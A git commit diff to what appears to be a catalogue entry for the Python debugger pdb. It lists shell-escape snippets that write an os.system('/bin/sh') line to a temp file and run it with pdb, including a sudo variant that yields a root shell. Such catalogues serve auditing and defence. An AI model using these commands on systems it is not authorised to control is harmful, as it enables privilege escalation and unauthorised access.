Avoid temp directory in pdb

This commit is contained in:
Andrea Cardaci 2020-03-15 12:28:22 +01:00
parent 41124f24c2
commit 1342a7b981

View File

@ -2,14 +2,14 @@
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'import os; os.system("/bin/sh")' > $TF/x
pdb $TF/x
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
pdb $TF
cont
sudo:
- code: |
TF=$(mktemp -d)
echo 'import os; os.system("/bin/sh")' > $TF/x
sudo pdb $TF/x
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
sudo pdb $TF
cont
---